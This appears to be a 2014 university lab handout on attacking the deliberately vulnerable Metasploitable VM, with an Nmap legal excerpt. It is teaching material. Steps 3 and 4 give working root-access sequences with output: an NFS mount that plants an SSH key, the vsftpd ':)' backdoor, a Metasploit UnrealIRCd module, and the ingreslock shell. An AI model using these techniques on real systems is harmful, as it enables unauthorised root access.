# SE-4930: Developing Secure Software

# Lab 8: Looking for Vulnerabilities[1]

# Due by 23:59 November 4, 2014

## Introduction

*Securing our software systems involves securing our machines that run the software systems. This is the fundamental starting point for all software systems.*

*In this lab you are going to use two software programs to look at various systems to determine their potential vulnerabilities. You will be working in teams for this assignment. The exact teams are up to you, but they need to be of at least two people.*

*Both of you will need your laptops and a Virtualbox virtual machine playback software package. One of you will be running an exploitable machine. One of you will be running the tools to analyze the exploitable machine.*

## Step 1 – Downloading and Installing the tools

*Both lab partners will need to download and install the virtual box virtual machine software on their laptops. This software will allow the virtual machines to execute on their laptops.*

*Parter A will be executing the exploitable virtual machine (Metasploitable). They will need to download the virtual image for metasploitable from the course website. Once the image is downloaded, make certain that the virtual machine is set up to use bridged networking and start up the virtual machine. Additionally, generate a new random mac address for the virtual machine.*

*Partner B: Partner B will need to download and install the nmap software from the course website. These tools will give you powerful analysis capabilities on the vulnerabilities of the target machines. For Nessus, a key will be provided to you for licensing purposes. Partner B will also need to download and install a Debian Viurtual machine which can be used to attack the metasploitable machine. Install the Debian VM, set it to use a bridged network connection, and randomly generate a new MAC address for the machine.*

## Step 2: Doing network reconnaissance

*Once the tools have been downloaded and installed, you will need to disable your wireless connection and plug into the wired network. This will protect you from being attacked.*

[1] Includes material from Metasploitable 2 Exploitability Guide (https://community.rapid7.com/docs/DOC-1875)

*Partner A will need to determine the IP address of the Metasploitable virtual machine. To do this, log onto the metasploitable machine and enter the command ifconfig. The ip address of the machine will show in the report. What ports are open on the machine? What services does the machine provide? What version of the service is running? What version of Linux is the machine running and when was the last boot? Does the Mac address match what you see in the Virtual Machine MAC address field on the exploitable machine?*

## Step 3: Remotely accessing the machine

*Now that you have discovered the services, lets try and break into the machine. Start up the Linux Virtual machine and open a shell as root. To do this, open a shell and execute the command su. The password you will need to enter is cs3841. In this location, enter the command:*

```
rlogin -l root <ipaddress>
```

**where ipaddress is the ipaddress of the Metasploitable virtual machine. What have you just accomplished?**

*where ipaddress is the ipaddress of the Metasploitable virtual machine. What have you just accomplished?*

*With this in mind, exit out of the terminal window and open a new terminal window as root.*

*Next we want to actually log on as root. To do so, follow the following commands:*

*root@ubuntu:~# ssh-keygen*
*Generating public/private rsa key pair.*
*Enter file in which to save the key (/root/.ssh/id_rsa):*
*Enter passphrase (empty for no passphrase):*
*Enter same passphrase again:*
*Your identification has been saved in /root/.ssh/id_rsa.*
*Your public key has been saved in /root/.ssh/id_rsa.pub.*

*root@ubuntu:~# mkdir /tmp/r00t*
*root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/*
*root@ubuntu:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys*
*root@ubuntu:~# umount /tmp/r00t*

*root@ubuntu:~# ssh root@192.168.99.131*

*What have you just accomplished here?*

# Step 4: Accessing the back door

*On port 21, Metasploitable2 runs vsftpd, a popular FTP server. This particular version contains a backdoor that was slipped into the source code by an unknown intruder. The backdoor was quickly identified and removed, but not before quite a few people downloaded it. If a username is sent that ends in the sequence ":)" [ a happy face ], the backdoored version will open a listening shell on port 6200. We can demonstrate this with telnet or use the Metasploit Framework module to automatically exploit it:*

*root@ubuntu:~# telnet 192.168.99.131 21*
*Trying 192.168.99.131...*
*Connected to 192.168.99.131.*
*Escape character is '^]'.*
*220 (vsFTPd 2.3.4)*
*user backdoored:)*
*331 Please specify the password.*
*pass invalid*
*^]*
*telnet> quit*
*Connection closed.*

*root@ubuntu:~# telnet 192.168.99.131 6200*
*Trying 192.168.99.131...*
*Connected to 192.168.99.131.*
*Escape character is '^]'.*
*id;*
*uid=0(root) gid=0(root)*

*On port 6667, Metasploitable2 runs the UnrealIRCD IRC daemon. This version contains a backdoor that went unnoticed for months - triggered by sending the letters "AB" following by a system command to the server on any listening port. Metasploit has a module to exploit this in order to gain an interactive shell, as shown below.*

*msfconsole*

*msf > use exploit/unix/irc/unreal_ircd_3281_backdoor*
*msf  exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131*
*msf  exploit(unreal_ircd_3281_backdoor) > exploit*

*[*] Started reverse double handler*
*[*] Connected to 192.168.99.131:6667...*
*:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...*
*:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead*

*[*] Sending backdoor command...*
*[*] Accepted the first client connection...*
*[*] Accepted the second client connection...*
*[*] Command: echo 8bMUYsfmGvOLHBxe;*
*[*] Writing to socket A*
*[*] Writing to socket B*
*[*] Reading from sockets...*
*[*] Reading from socket B*
*[*] B: "8bMUYsfmGvOLHBxe\r\n"*
*[*] Matching...*
*[*] A is input...*
*[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:60257) at 2012-05-31 21:53:59 -0700*

*id*
*uid=0(root) gid=0(root)*

*Much less subtle is the old standby "ingreslock" backdoor that is listening on port 1524. The ingreslock port was a popular choice a decade ago for adding a backdoor to a compromised server. Accessing it is easy:*

*root@ubuntu:~# telnet 192.168.99.131 1524*
*Trying 192.168.99.131...*
*Connected to 192.168.99.131.*
*Escape character is '^]'.*
*root@metasploitable:/# id*
*uid=0(root) gid=0(root) groups=0(root)*

*Once this is done, start the OS virtual machine on Partner A's machine. Make certain the network is configured to be bridged. Open up a console window and issue the command ifconfig to determine the IP address of the machine. When you are done, have the first partner run NMAP and NESSUS against this IP address, again noting what you find.*

*Finally, once this step is completed, shutdown the OS Virtual machine and start up the MetaSploitable virtual machine. The default login and password is msfadmin:msfadmin. (Note: Never expose this VM to an untrusted network… Bad things will happen.) Repeat the process of scanning this machine and log what you find.*

## Deliverables

*Each team shall submit a report in pdf format with the following information*

1. *Title Page* - Name of all team members, course, and date details.

2. *Introduction* - Summarize what you did in lab and the problem your were trying to solve.
3. Data table / Questions
    a. Include a table of the ports, services, versions, etc that were found using the nmap tool
    b. What is the MAC address and does it match that which is found in the virtual machine?
    c. What do you accomplish with the rlogin commands?
    d. How can you log on as root to the remote system besides rlogin
4. Discussion
    a. What pieces of information does this lab provide that might be useful to securing the deployment of a software system?
    b. Are you seriously concerned about the security of these machines, or do you feel relatively safe about their status.
5. *Things gone right / Things gone wrong –*
    a. Discuss the things which went well with this lab, as well as the problems you had, either with the tools, the process, etc.
6. *Conclusions*
    a. What have you learned from this experience

## Ethical Note

*You are running this tool for educational purposes, to understand how these vulnerability tools operate, and what their capabilities are. It is both illegal and unethical to use the data uncovered from this experiment to attack one of these machines in any manner. It is possible that our analysis may find serious vulnerabilities with these machines, in which case the appropriate administrators will be contacted.*

## Legal Note (From *http://nmap.org*)

*The legal ramifications of scanning networks with Nmap are complex and so controversial that third-party organizations have even printed T-shirts and bumper stickers promulgating opinions on the matter[7], as shown in Figure 1.3. The topic also draws many passionate but often unproductive debates and flame wars. If you ever participate in such discussions, try to avoid the overused and ill-fitting analogies to knocking on someone's home door or testing whether his door and windows are locked.*

*While I agree with the sentiment that port scanning should not be illegal, it is rarely wise to take legal advice from a T-shirt. Indeed, taking it from a software engineer and author is only slightly better. Speak to a competent lawyer within your jurisdiction for a better understanding of how the law applies to your particular situation. With that important disclaimer out of the way, here is some general information that may prove helpful.*

*The best way to avoid controversy when using Nmap is to always secure written authorization from the target network representatives before initiating any scanning. There is still a chance*

*that your ISP will give you trouble if they notice it (or if the target administrators accidentally send them an abuse report), but this is usually easy to resolve. When you are performing a penetration test, this authorization should be in the Statement of Work. When testing your own company, make certain that this activity clearly falls within your job description. Security consultants should be familiar with the excellent Open Source Security Testing Methodology Manual (OSSTMM), which provides best practices for these situations.*

*While civil and (especially) criminal court cases are the nightmare scenario for Nmap users, these are very rare. After all, no United States federal laws explicitly make port scanning illegal. A much more frequent occurrence is that the target network will notice a scan and send a complaint to the network service provider where the scan initiated (your ISP). Most network administrators do not seem to care or notice the many scans bouncing off their networks daily, but a few complain. The scan source ISP may track down the user corresponding to the reported IP address and time, then chide the user or even kick them off the service. Port scanning without authorization is sometimes against the provider's acceptable use policy (AUP). For example, the AUP for the huge cable-modem ISP Comcast says:*

> *Network probing or port scanning tools are only permitted when used in conjunction with a residential home network, or if explicitly authorized by the destination host and/or network. Unauthorized port scanning, for any reason, is strictly prohibited.*

*Even if an ISP does not explicitly ban unauthorized port scanning, they might claim that some "anti-hacking" provision applies. Of course this does not make port scanning illegal. Many perfectly legal and (in the United States) constitutionally protected activities are banned by ISPs. For example, the AUP quoted above also prohibits users from transmitting, storing, or posting "any information or material which a reasonable person could deem to be objectionable, offensive, indecent, pornographic, ... embarrassing, distressing, vulgar, hateful, racially or ethnically offensive, or otherwise inappropriate, regardless of whether this material or its dissemination is unlawful". In other words, some ISPs ban any behavior that could possibly offend or annoy someone[8]. Indiscriminate scanning of other people's networks/computers does have that potential. If you decide to perform such controversial scanning anyway, never do it from work, school, or any other service provider that has substantial control over your well-being. Use a dialup or commercial broadband provider instead. Losing your DSL connection and having to change providers is a slight nuisance, but it is immeasurably preferable to being expelled or fired.*

*While legal cases involving port scanning (without follow-up hacking attacks) are rare, they do happen. One of the most notable cases involved a man named Scott Moulton who had an ongoing consulting contract to maintain the Cherokee County, Georgia emergency 911 system. In December 1999, he was tasked with setting up a router connecting the Canton, Georgia Police Department with the E911 Center. Concerned that this might jeopardize the E911 Center security, Scott initiated some preliminary port scanning of the networks involved. In the process he scanned a Cherokee County web server that was owned and maintained by a competing consulting firm named VC3. They noticed the scan and emailed Scott, who replied that he*

*worked for the 911 Center and was testing security. VC3 then reported the activity to the police. Scott lost his E911 maintenance contract and was arrested for allegedly violating the Computer Fraud and Abuse Act of America Section 1030(a)(5)(B). This act applies against anyone who "intentionally accesses a protected computer without authorization, and as a result of such conduct, causes damage" (and meets other requirements). The damage claimed by VC3 involved time spent investigating the port scan and related activity. Scott sued VC3 for defamation, and VC3 countersued for violation of the Computer Fraud and Abuse Act as well as the Georgia Computer Systems Protection Act.*

*The civil case against Scott was dismissed before trial, implying a complete lack of merit. The ruling made many Nmap users smile:*

*"Court holds that plaintiff's act of conducting an unauthorized port scan and throughput test of defendant's servers does not constitute a violation of either the Georgia Computer Systems Protection Act or the Computer Fraud and Abuse Act."—Civ. Act. No. 1:00-CV-434-TWT (N.D. Ga. November 6, 2000)*

*This was an exciting victory in the civil case, but Scott still had the criminal charges hanging over his head. Fortunately he kept his spirits high, sending the following note to the nmap-hackers mailing list:*

*I am proud that I could be of some benefit to the computer society in defending and protecting the rights of specialists in the computer field, however it is EXTREMELY costly to support such an effort, of which I am not happy about. But I will continue to fight and prove that there is nothing illegal about port scanning especially when I was just doing my job.*

*Eventually, the criminal court came to the same conclusion and all charges were dropped. While Scott was vindicated in the end, he suffered six-figure legal bills and endured stressful years battling through the court system. The silver lining is that after spending so much time educating his lawyers about the technical issues involved, Scott started a successful forensics services company.*

*While the Moulton case sets a good example (if not legal precedent), different courts or situations could still lead to worse outcomes. Remember that many states have their own computer abuse laws, some of which can arguably make even pinging a remote machine without authorization illegal[9].*

*Laws in other nations obviously differ as well. For example, A 17-year-old youth was convicted in Finland of attempted computer intrusion for simply port scanning a bank. He was fined to cover the target's investigation expenses. The Moulton ruling might have differed if the VC3 machine had actually crashed and they were able to justify the $5,000 damage figure required by the act.*

*At the other extreme, an Israeli judge acquitted Avi Mizrahi in early 2004 for vulnerability scanning the Mossad secret service. Judge Abraham Tennenbaum even praised Avi as follows:*

*In a way, Internet surfers who check the vulnerabilities of Web sites are acting in the public good. If their intentions are not malicious and they do not cause any damage, they should even be praised.*

*In 2007 and 2008, broad new cybercrime laws took effect in Germany and England. These laws are meant to ban the distribution, use, and even possession of "hacking tools". For example, the UK amendment to the Computer Misuse Act makes it illegal to "supply or offer to supply, believing that it is likely to be used to commit, or to assist in the commission of [a Computer Misuse Act violation]". These laws have already led some security tool authors to close shop or move their projects to other countries. The problem is that most security tools can be used by both ethical professionals (white-hats) to defend their networks and black-hats to attack. These dangerous laws are based on the tool author or user's intent, which is subjective and hard to divine. Nmap was designed to help secure the Internet, but I'd hate to be arrested and forced to defend my intentions to a judge and jury. These laws are unlikely to affect tools as widespread and popular as Nmap, but they have had a chilling effect on smaller tools and those which are more commonly abused by computer criminals (such as exploitation frameworks).*

*Regardless of the legal status of port scanning, ISP accounts will continue to be terminated if many complaints are generated. The best way to avoid ISP abuse reports or civil/criminal charges is to avoid annoying the target network administrators in the first place. Here are some practical suggestions:*

*Probably at least 90% of network scanning is non-controversial. You are rarely badgered for scanning your own machine or the networks you administer. The controversy comes when scanning other networks. There are many reasons (good and bad) for doing this sort of network exploration. Perhaps you are scanning the other systems in your dorm or department to look for publicly shared files (FTP, SMB, WWW, etc.). Or maybe you are just trying to find the IP of a certain printer. You might have scanned your favorite web site to see if they are offering any other services, or because you were curious what OS they run. Perhaps you are just trying to test connectivity, or maybe you wanted to do a quick security sanity check before handing off your credit card details to that e-commerce company. You might be conducting Internet research. Or are you performing initial reconnaissance in preparation for a break-in attempt? The remote administrators rarely know your true intentions, and do sometimes get suspicious. The best approach is to get permission first. I have seen a few people with non-administrative roles land in hot water after deciding to "prove" network insecurity by launching an intrusive scan of the entire company or campus. Administrators tend to be more cooperative when asked in advance than when woken up at 3AM by an IDS alarm claiming they are under massive attack. So whenever possible, obtain written authorization before scanning a network. Adrian Lamo would probably have avoided jail if he had asked the New York Times to test their security rather than telling reporters about the flaws afterward. Unfortunately they would likely have said no. Be prepared for this answer.*

*Target your scan as tightly as possible. Any machine connected to the Internet is scanned regularly enough that most administrators ignore such Internet white noise. But scanning enough networks or executing very noisy/intrusive scans increases the probability of generating*

*complaints. So if you are only looking for web servers, specify -p80 rather than scanning all 65,536 TCP ports on each machine. If you are only trying to find available hosts, do an Nmap ping scan rather than full port scan. Do not scan a CIDR /16 (65K hosts) when a /24 netblock suffices. The random scan mode now takes an argument specifying the number of hosts, rather than running forever. So consider -iR 1000 rather than -iR 10000 if the former is sufficient. Use the default timing (or even -T polite) rather than -T insane. Avoid noisy and relatively intrusive scans such as version detection (-sV). Similarly, a SYN scan (-sS) is quieter than a connect scan (-sT) while providing the same information and often being faster.*

*As noted previously, do not do anything controversial from your work or school connections. Even though your intentions may be good, you have too much to lose if someone in power (e.g. boss, dean) decides you are a malicious cracker. Do you really want to explain your actions to someone who may not even understand the terms packet or port scanner? Spend $40 a month for a dialup, shell, or residential broadband account. Not only are the repercussions less severe if you offend someone from such an account, but target network administrators are less likely to even bother complaining to mass-market providers. Also read the relevant AUP and choose a provider accordingly. If your provider (like Comcast discussed above) bans any unauthorized port scanning and posting of "offensive" material, do not be surprised if you are kicked off for this activity. In general, the more you pay to a service provider the more accommodating they are. A T1 provider is highly unlikely to yank your connection without notice because someone reported being port scanned. A dialup or residential DSL/cable provider very well might. This can happen even when the scan was forged by someone else.*

*Nmap offers many options for stealthy scans, including source-IP spoofing, decoy scanning, and the more recent idle scan technique. These are discussed in the IDS evasion chapter. But remember that there is always a trade-off. You are harder to find if you launch scans from an open WAP far from your house, with 17 decoys, while doing subsequent probes through a chain of nine open proxies. But if anyone does track you down, they will be mighty suspicious of your intentions.*

*Always have a legitimate reason for performing scans. An offended administrator might write to you first (or your ISP might forward his complaint to you) expecting some sort of justification for the activity. In the Scott Moulton case discussed above, VC3 first emailed Scott to ask what was going on. If they had been satisfied with his answer, matters might have stopped there rather than escalating into civil and criminal litigation. Groups scanning large portions of the Internet for research purposes often use a reverse-DNS name that describes their project and run a web server with detailed information and opt-out forms.*

*Also remember that ancillary and subsequent actions are often used as evidence of intent. A port scan by itself does not always signify an attack. A port scan followed closely by an IIS exploit, however, broadcasts the intention loud and clear. This is important because decisions to prosecute (or fire, expel, complain, etc.) are often based on the whole event and not just one component (such as a port scan).*

*One dramatic case involved a Canadian man named Walter Nowakowski, who was apparently the first person to be charged in Canada with theft of communications (Canadian Criminal Code Section S.342.1) for accessing the Internet through someone's unsecured Wi-Fi network. Thousands of Canadian "war drivers" do this every day, so why was he singled out? Because of*

*ancillary actions and intent. He was allegedly caught driving the wrong way on a one-way street, naked from the waist down, with laptop in hand, while downloading child pornography through the aforementioned unsecured wireless access point. The police apparently considered his activity egregious enough that they brainstormed for relevant charges and tacked on theft of communications to the many child pornography-related charges.*

*Similarly, charges involving port scanning are usually reserved for the most egregious cases. Even when paranoid administrators notify the police that they have been scanned, prosecution (or any further action) is exceedingly rare. The fact that a 911 emergency service was involved is likely what motivated prosecutors in the Moulton case. Your author has scanned hundreds of thousands of Internet hosts while writing this book and received no complaints.*

*To summarize this whole section, the question of whether port scanning is legal does not have a simple answer. I cannot unequivocally say "port scanning is never a crime", as much as I would like to. Laws differ dramatically between jurisdictions, and cases hinge on their particular details. Even when facts are nearly identical, different judges and prosecutors do not always interpret them the same way. I can only urge caution and reiterate the suggestions above.*

*For testing purposes, you have permission to scan the host scanme.nmap.org. You may have noticed that it was used in several examples already. Note that this permission only includes scanning via Nmap and not testing exploits or denial of service attacks. To conserve bandwidth, please do not initiate more than a dozen scans against that host per day. If this free scanning target service is abused, it will be taken down and Nmap will report Failed to resolve given hostname/IP: scanme.nmap.org.*